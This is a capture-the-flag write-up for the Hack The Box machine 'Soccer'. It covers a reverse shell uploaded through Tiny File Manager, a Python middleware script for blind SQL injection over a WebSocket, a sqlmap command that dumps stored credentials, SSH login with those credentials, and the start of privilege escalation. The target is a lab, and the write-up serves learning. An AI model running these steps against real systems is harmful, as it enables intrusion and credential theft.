Soccer - HTB - Writeup¶
We can start off with an AutoRecon scan. It takes a little while but, immediately outputs 3 ports to look into.
┌──(root㉿kali)-[/home/c4]
└─# autorecon 10.129.15.189
[*] Scanning target 10.129.15.189
[*] [10.129.15.189/all-tcp-ports] Discovered open port tcp/80 on 10.129.15.189
[*] [10.129.15.189/all-tcp-ports] Discovered open port tcp/22 on 10.129.15.189
[*] [10.129.15.189/all-tcp-ports] Discovered open port tcp/9091 on 10.129.15.189
We check out port 80 in the browser but, it seems to be trying to autoconvert to a dns name of soccer.htb
. Let's add it to our etc/hosts
file.
AutoRecon came back with some stuff, but, I guess since I didnt add to /etc/hosts
first then it wanted to act special.
Let's do some manual recon with Dirsearch and see what it produces. Looks like we pulled a /tiny
post. Let's navigate over to it and check it out.
I tried out some typical username/passwords to no avail. I googled Tiny File Manager
https://github.com/prasathmani/tinyfilemanager/wiki/Security-and-User-Management#password
Well we know it's a PHP
site and it allows us the ability to upload so let's give pentestmonkey's tool a shot.
Turns out the root section did not let me upload but, the tiny
folder does. This interface gives us the ability to click a direct link option. The tiny folder doesnt allow us to execute but, theres a upload
folder inside that does.
We can spin up a netcat session then click the link icon to trigger the shell.
We can use which
to check for programs installed to upgrade our TTY Shell. We found python3 was installed and can use it to upgrade shell.
python3 -c 'import pty; pty.spawn("/bin/bash")'
## Let's upgrade it by (Ctrl^Z)
stty raw -echo && fg
## It might look funny just type ```ls```
Doing a little enumeration we come accross some nginx config files leading us to believe there is another website/url. Let's update our etc/hosts
file to reflect an additional url.
Doing a little enumeration on the website we see a login page, and a few others.
We can run dirsearch against this new url and we see a /check
that doesn't show up and we can navigate to it. Probably behind the login wall. On the match page it talks about getting a free ticket when you sign up. Let's give that a shot.
We can inspect this page and see what kind of information is on this page. It looks like there is a script on this page that's connecting to a database over port 9091
and grabbing the ticket number based on ID.
Doing some recon we find an article about exploiting SQLI with a WebSocket(WS). We can use the python script to stand up our own local server but, pass in the website's as well from the script we just found.
┌──(root㉿kali)-[/home/…/Documents/ctf/htb/soccer]
└─# cat sqli.py
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection
ws_server = "ws://soc-player.soccer.htb:9091"
def send_ws(payload):
ws = create_connection(ws_server)
# If the server returns a response on connect, use below line
#resp = ws.recv() # If server returns something like a token on connect you can find and extract from here
# For our case, format the payload in JSON
message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
data = '{"id":"%s"}' % message
ws.send(data)
resp = ws.recv()
ws.close()
if resp:
return resp
else:
return ''
def middleware_server(host_port,content_type="text/plain"):
class CustomHandler(SimpleHTTPRequestHandler):
def do_GET(self) -> None:
self.send_response(200)
try:
payload = urlparse(self.path).query.split('=',1)[1]
except IndexError:
payload = False
if payload:
content = send_ws(payload)
else:
content = 'No parameters specified!'
self.send_header("Content-type", content_type)
self.end_headers()
self.wfile.write(content.encode())
return
class _TCPServer(TCPServer):
allow_reuse_address = True
httpd = _TCPServer(host_port, CustomHandler)
httpd.serve_forever()
print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")
try:
middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
pass
We will need two terminals: 1st Terminal:
2nd Terminal:We collected the DB names:
We can now try to grab for the tables of soccer_db
accounts
We can dump the creds using the below. I added --threads 10 to speed it up a little bit.
sqlmap -u "http://localhost:8081/?id=64043" --risk 3 --level 5 --batch -T accounts -D soccer_db -dump --threads 10
From enumeration earlier there was a home directory for player. Let's try these creds again the open SSH.
Priv Esc¶
Next let's see about getting root. Let's check for curl to see if I can just host on my AttackBox and then execute here. Turns out we can.
Something interesting about dstat
Took a little while to find a way to exploit it easily.